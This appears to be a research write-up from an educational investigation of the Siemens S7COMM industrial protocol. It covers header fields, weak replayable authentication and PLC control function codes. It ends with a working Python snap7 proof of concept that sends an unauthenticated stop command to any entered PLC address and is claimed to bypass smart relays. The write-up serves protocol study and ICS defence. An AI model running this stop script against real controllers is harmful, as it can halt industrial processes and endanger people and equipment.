Siemens

Before reading, make sure you are familiar with ICS components and their correlated acronyms. Please reference the ICS Overview for an introduction.

TL;DR

---

• Siemens PLCs communicate over the S7COMM protocol.

  • This protocol is proprietary, so all documentation is based on open-sourced analysis.
  • Protocol Breakdown:
    • http://gmiru.com/article/s7comm/
    • http://gmiru.com/article/s7comm-part2/

• Newer, higher end models can use the more robust S7COMM+ protocol which has more robust security features.

  • This protocol is proprietary, and much less documented than standard S7COMM.
  • We did not encounter this protocol during the engagement.
  • For the purpose of the Siemens overview, we will be focusing on the more common S7COMM protocol.

• The Siemens Emergency Stop PoC is a Python Proof-of-Concept that utilizes the snap7 library to send an unauthenticated shut down to a reachable Siemens PLC.

  • This emergency stop should bypass smart relays that would normally block potentially dangerous input.

• snap7 Library Documentation: https://python-snap7.readthedocs.io/en/latest/

Siemens Overview

---

Context

This note stems from a personal report written during an educational investigation into ICS infrastructure.

We began our ICS investigation with packet analysis of Siemens communications. This led us to the S7COMM protocol, and subsequently the snap7 Python library for our PoC.

S7COMM Protocol

---

We discovered that Siemens PLCs communicate over the S7COMM protocol (with the most common default port found being 102). This protocol is proprietary, so official documentation is scarce. However, there exists some public blogposts from enthusiasts conducting their own breakdown of the protocol.

The following sections cover the key points breaking down the protocol, as well as corroborating it with our findings.

Header Breakdown:
Source: http://gmiru.com/article/s7comm/

• Protocol ID: [1byte] protocol constant always set to 0x32 (and 0x72 for S7COMM+)

• Message Type: [1byte] the general type of the message (sometimes referred as ROSCTR type)

  • 0x01 - Job Request: request sent by the master (e.g. read/write memory, read/write blocks, start/stop device, setup communication)
  • 0x02 - Ack: simple acknowledgement sent by the slave with no data field (I have never seen it sent by the S300/S400 devices)
  • 0x03 - Ack-Data: acknowledgement with optional data field, contains the reply to a job request
  • 0x07 - Userdata: an extension of the original protocol, the parameter field contains the request/response id, (used for programming/debugging, SZL reads, security functions, time setup, cyclic read..)

• Reserved: [2bytes] always set to 0x0000 (but probably ignored)

• PDU reference: [2bytes] generated by the master, incremented with each new transmission, used to link responses to their requests, Little-Endian (note: this is the behaviour of WinCC, Step7, and other Siemens programs, it could probably be randomly generated, the PLC just copies it to the reply)

• Parameter Length: [2bytes] the length of the parameter field, Big-Endian

• Data Length: [2bytes] the length of the data field, Big-Endian

• (Error class): [1byte] only present in the Ack-Data messages

• (Error code): [1byte] only present in the Ack-Data messages

General Data & Authentication Breakdown:
Source: http://gmiru.com/article/s7comm-part2/

There are three protection modes that can be set during configuration for the CPU.
- No protection: Just as one would expect no authentication is required.
- Write protection: For certain data write and configuration change operations authentication is required.
- Read/Write protection: Just like the previous one but certain read operations require authentication as well.

If authentication is required the password is sent to the device, in a userdata message, which lowers the effective protection level. The issue with this is that the password is six bytes in length and sent almost in the clear (XORed with constants and shifted); it is replayable and can be bruteforced. The protocol also provides no integrity or confidentiality protection, message injection and modification is possible. The general rule of thumb when it comes to S7 security is if you can ping the device you can own it.

It must be noted here that the S7-1200/1500 series devices use a slightly different approach, protection levels are handled a bit differently and the password sent is significantly longer (it is actually the hash of the password) but it is still constant and replayable.

• Function Code: [1byte] indicates the purpose of the message/packets being sent

  • 0x04/0x05 - Read/Write Variable: out of scope

    • 0x04: Read Variable
    • 0x05: Write Variable

  • 0x1a/0x1f - Block Upload/Download: out of scope

    • 0x1a: Request Download
    • 0x1b: Download Block
    • 0x1c: Download Ended
    • 0x1d: Start Upload
    • 0x1e: Upload Block
    • 0x1f: End Upload

  • 0x28 - PLC Control: used to execute different routines on a target PLC that modify its execution/memory state. Should include a routine/function name and an associated "parameter" or "argument" in the PDU following the Function Code (in Wireshark, this would be the "PI (Program Invocation) Service"). Example routines:

    • _INSE: activates a downloaded block on the device; parameter: name of the block
    • _DELE: remove a block from the file system of the device; parameter: name of the block
    • P_PROGRAM: sets the run state of the device (start, stop, memory reset); parameter: none
    • _GARP: compresses PLC memory; parameter: unknown
    • _MODU: copy RAM to ROM; parameter: filesystem identifiers

  • 0x29 - PLC Stop: similar to PLC Control, but with no parameter in the message and routine is always set to P_PROGRAM.

    • Unknown why this gets its own function code instead of just using 0x28.
    • This is our primary focus for a PoC exploit.

Example

With this knowledge, to send a PLC Stop command the key takeaways are:

Protocol ID: 0x32 | S7COMM
Message Type: 0x01 | Job Request
Function Code: 0x29 | PLC Stop
PI Service: 0x50 0x5f 0x50 0x52 0x4f 0x47 0x52 0x41 0x4d | P_PROGRAM

The below image is a Wireshark capture displaying the above PLC Stop example.

• It is also worth noting that the destination MAC gives away that the target is a Siemens device. This means that an attacker in theory could passively determine a target PLC purely from an ARP table; no active scanning required.

Siemens Emergency Stop PoC

---

The Siemens Emergency Stop PoC utilizes the snap7 Python library to send an unauthenticated shut down to a reachable Siemens PLC. A common defense in ICS networks is smart relays -- which normally block potentially dangerous input to PLCs. However, this emergency stop should bypass the relays due to not inherently being "dangerous".

The following PoC has only been tested on a Siemens S400. Based on some unofficial documentation found using OSINT, the following table could correlate the code to other models.

Siemens Model	Connection Parameters
S400	(ip,0,0,port)
S200	(ip,0,1,port)
S300	(ip,0,2,port)

Install Dependencies:

pip install python-snap7

Proof-of-Concept:

import snap7
import sys

### Siemens Emergency Stop PoC (tested on an S400) ###
# Create a local test server with: "python -m snap7.server --port 102"

# Input Target PLC Data
print("[+] Input Siemens PLC information")
ip = input(" o  Target IP: ")
port = input(" o  Target Port (default: 102): ")

# Validate Connection
print("[+] Connecting to target PLC (" + ip + ") on port '" + str(port) + "'...")
try:
  client = snap7.client.Client()
  client.connect(ip,0,0,int(port)) # Connect to S400
  client.wait_as_completion(5000)
except:
  print("[-] Failed to connect.")
  sys.exit()

# Attempt to shut down PLC (redundant)
connected = client.get_connected()
if connected:
  print("[+] Shutting down PLC...")
  client.plc_stop()
else:
  print("[-] Client not connected.")

Proof-of-Concept Packet Capture: